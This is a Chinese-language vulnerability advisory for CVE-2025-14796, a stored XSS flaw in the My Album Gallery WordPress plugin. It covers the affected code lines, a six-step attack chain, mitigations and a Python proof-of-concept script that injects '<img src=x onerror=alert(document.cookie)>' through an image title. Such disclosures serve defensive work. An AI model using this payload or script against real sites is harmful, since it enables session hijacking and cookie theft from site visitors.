IPBUF安全漏洞报告
English
CVE-2025-14796 CVSS 6.4 中危

CVE-2025-14796 My Album Gallery插件存储型XSS漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14796
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
My Album Gallery WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-14796My Album GalleryCross-Site Scripting权限提升会话劫持

漏洞概述

My Album Gallery是WordPress平台的一个相册管理插件。该插件在1.0.4及之前的所有版本中存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于插件对图片标题(attachment->title)属性的输入清理和输出转义处理不足。攻击者利用此漏洞可以注入任意JavaScript代码,这些恶意代码会被永久存储在服务器端。当其他用户访问包含恶意代码的页面时,注入的脚本将自动执行,可能导致会话劫持、敏感信息窃取、网页篡改等严重后果。由于该漏洞为存储型XSS,攻击只需一次注入即可影响所有访问该页面的用户,危害范围广泛。

技术细节

漏洞位于My Album Gallery插件处理图片标题的代码逻辑中。具体来说,在controllers/public/class-mygallery-shortcode.php第143行和mygallery-single.php第92行的代码中,插件直接使用$_GET或$_POST参数中的attachment->title值,并将其输出到HTML页面而未进行充分的输入验证和输出转义。攻击者只需以Author级别或更高权限登录WordPress后台,在上传图片时将图片标题设置为恶意JavaScript代码(如:<img src=x onerror=alert(document.cookie)>)即可触发漏洞。由于插件未对标题内容进行HTML实体编码,当该图片在相册页面展示时,浏览器会将其解析为可执行脚本。攻击者可以利用此漏洞窃取管理员Cookie、劫持用户会话、甚至进一步利用获取的后台权限进行更深层次的攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的WordPress版本和My Album Gallery插件版本(<=1.0.4)
STEP 2
2. 账户获取
攻击者获取WordPress网站Author级别或更高权限的用户账户
STEP 3
3. 恶意代码注入
攻击者上传图片或在已有图片属性中,将标题(title)字段设置为恶意JavaScript代码,如<img src=x onerror=alert(document.cookie)>
STEP 4
4. 数据持久化
恶意代码被存储在数据库中,由于插件未进行输出转义,代码被直接写入页面HTML
STEP 5
5. 触发执行
当其他用户访问包含该图片的相册页面时,浏览器解析HTML并执行注入的JavaScript代码
STEP 6
6. 恶意行为
攻击者可通过XSS窃取用户Cookie、会话令牌,进行会话劫持或进一步权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14796 PoC - My Album Gallery Stored XSS # Affected Version: <= 1.0.4 # Attack Vector: Inject malicious JavaScript via image title import requests from bs4 import BeautifulSoup # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_author" # Author-level account required PASSWORD = "password123" # Malicious payload for XSS XSS_PAYLOAD = '<img src=x onerror=alert(document.cookie)>' def exploit_stored_xss(): """Exploit CVE-2025-14796 Stored XSS via image title""" session = requests.Session() # Step 1: Login to WordPress with Author-level account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } session.post(login_url, data=login_data) # Step 2: Upload an image with malicious title upload_url = f"{TARGET_URL}/wp-admin/media-new.php" files = {'async-upload': ('malicious_image.jpg', b'fake_image_data', 'image/jpeg')} data = { 'post_id': '0', '_wpnonce': '', # Need to fetch valid nonce 'attachment-title': XSS_PAYLOAD, # XSS payload in title } response = session.post(upload_url, data=data, files=files) # Step 3: Create album with the malicious image album_url = f"{TARGET_URL}/wp-admin/admin.php?page=my-album-gallery" album_data = { 'album_name': 'Malicious Album', 'images[]': 'uploaded_image_id' } session.post(album_url, data=album_data) # Step 4: Trigger XSS by accessing album page gallery_page = f"{TARGET_URL}/?page_id=album_page" response = session.get(gallery_page) print("[+] XSS payload injected successfully!") print("[+] Any user visiting the album page will execute the JavaScript") if __name__ == "__main__": exploit_stored_xss()

影响范围

My Album Gallery <= 1.0.4 (所有版本)

防御指南

临时缓解措施
在WordPress后台立即禁用或删除My Album Gallery插件,直到官方发布安全更新。同时检查近期上传的图片,移除包含可疑内容的图片标题。为所有WordPress用户启用双因素认证,并审查具有Author级别及以上权限的用户账户。考虑使用Web应用防火墙(WAF)规则来检测和阻止XSS攻击特征码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表